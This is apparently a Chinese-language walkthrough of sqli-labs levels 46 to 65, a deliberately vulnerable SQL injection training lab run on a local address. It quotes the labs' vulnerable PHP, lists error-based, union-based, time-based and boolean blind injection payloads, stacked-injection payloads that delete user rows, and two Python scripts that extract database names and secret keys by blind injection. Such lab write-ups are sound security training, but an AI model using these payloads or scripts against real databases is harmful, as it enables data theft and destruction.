$sql = "SELECT * FROM users ORDER BY $id";

上面执行的语句:

1
2
3
mysql> select * from users order by 1 and  extractvalue(1,concat(0x3c,(select da
tabase())));
ERROR 1105 (HY000): XPATH syntax error: '<security'

同时这里也可以也可以使用盲注,构造布尔条件,example如下:

1
?sort=1 and if(1=1, sleep(1), null)
1
sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
1
sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

less-47

与上一关的区别在于

1
$sql = "SELECT * FROM users ORDER BY '$id'";

闭合一下就可以。

1
sort=1' and extractvalue(1,concat(0x3c,(select database())))%23
1
?sort=1 and if(1=1, sleep(1), null)
1
sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23
1
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23

less-48

这关没有报错回显,盲注

1
?sort=1 and if(1=1, sleep(1), null)
1
sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
1
sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

less-49

跟上一关差不多,字符串类型盲注

1
?sort=1' and if(1=1, sleep(1), null)%23
1
sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null)%23
1
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)%23

less-50

这里就不对stacked injection进行赘述了。利用payload

1
?sort=1;delete from users where username="admin2"

less-51

1
$sql="SELECT * FROM users ORDER BY '$id'";

注意单引号的闭合,攻击payload如下:

1
?sort=1';delete from users where username='admin4

less-52

跟50关差不多,只不过没回显。攻击payload一样。

less-53

这关跟52关一样,只不过是字符串类型的,注意一下闭合,payload用上面的就可以。

less-54

后面这几关主要一个进阶的过程,将前面所学到的知识融会贯通,熟练使用。
代码分析如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";

}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);

}

echo "<br>\n";

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


//update the counter in database
next_tryy();

//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";


//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}



// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}

}


?>
<?php

}

else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}


}

?>

如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。

1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

然后进入查询语句,没有过滤。

1
http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273               //查库
image
image
1
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23                //查表
image
image
1
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx      //查列
image
image
1
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23    //查数据
image
image

less-55

这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。
先尝试闭合

1
2
3
http://192.168.211.145/sqli/Less-55/?id=1'%23   //错误
http://192.168.211.145/sqli/Less-55/?id=1')%23 //错误
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正确

尝试之后发现是用)闭合,

1
http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23

后面的payload跟上一关差不多,加上)闭合就可以。

less-56

这几关都差不多,首先也是尝试闭合

1
http://192.168.211.145/sqli/Less-56/index.php?id=1')%23  //成功闭合
1
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23

后面就常规注入就可以了。

less-57

这关是双引号闭合的

1
http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23

less-58

关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}

可以看到查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。

1
http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
image
image

less-59

与上一关的区别在于:

1
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

payload:

1
http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23

less-60

与上一关的区别在于

1
$id = '("'.$id.'")';

攻击payload如下

1
http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

less-61

区别在于

1
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

攻击payload如下:

1
http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

这几关都是有报错回显的,很容易根据报错语句去闭合。

less-62

接下来几关要在130次内完成盲注。

image
image
image
image

可以看到回显不一样,很容易构造布尔条件。

只不过有次数限制,很明显不能去爆破,

1
http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23

手试几次查出数据库长度为10.

写脚本跑出数据库名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: UTF-8 -*- 
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0

def exp():
result = ''
start = 30
end = 127
for i in range(1,11):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num
image
image

可见爆破了77了跑出数据库名字。

中间就省略了,直接贴出跑字段的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: UTF-8 -*- 
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0

def exp():
result = ''
start = 30
end = 127
for i in range(1,25):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num

这里虽然限制了130次,但是还是可以用脚本跑出内容,还没再怎么缩小,想到之后更新。

less-63

这关跟上一关一样,唯一的区别在于

1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

需要使用单引号闭合。

less-64

与前面一样,区别在于

1
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

括号闭合一下。

less-65

这几关性质都一样,只不过闭合语句不同,不再赘述、

1
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";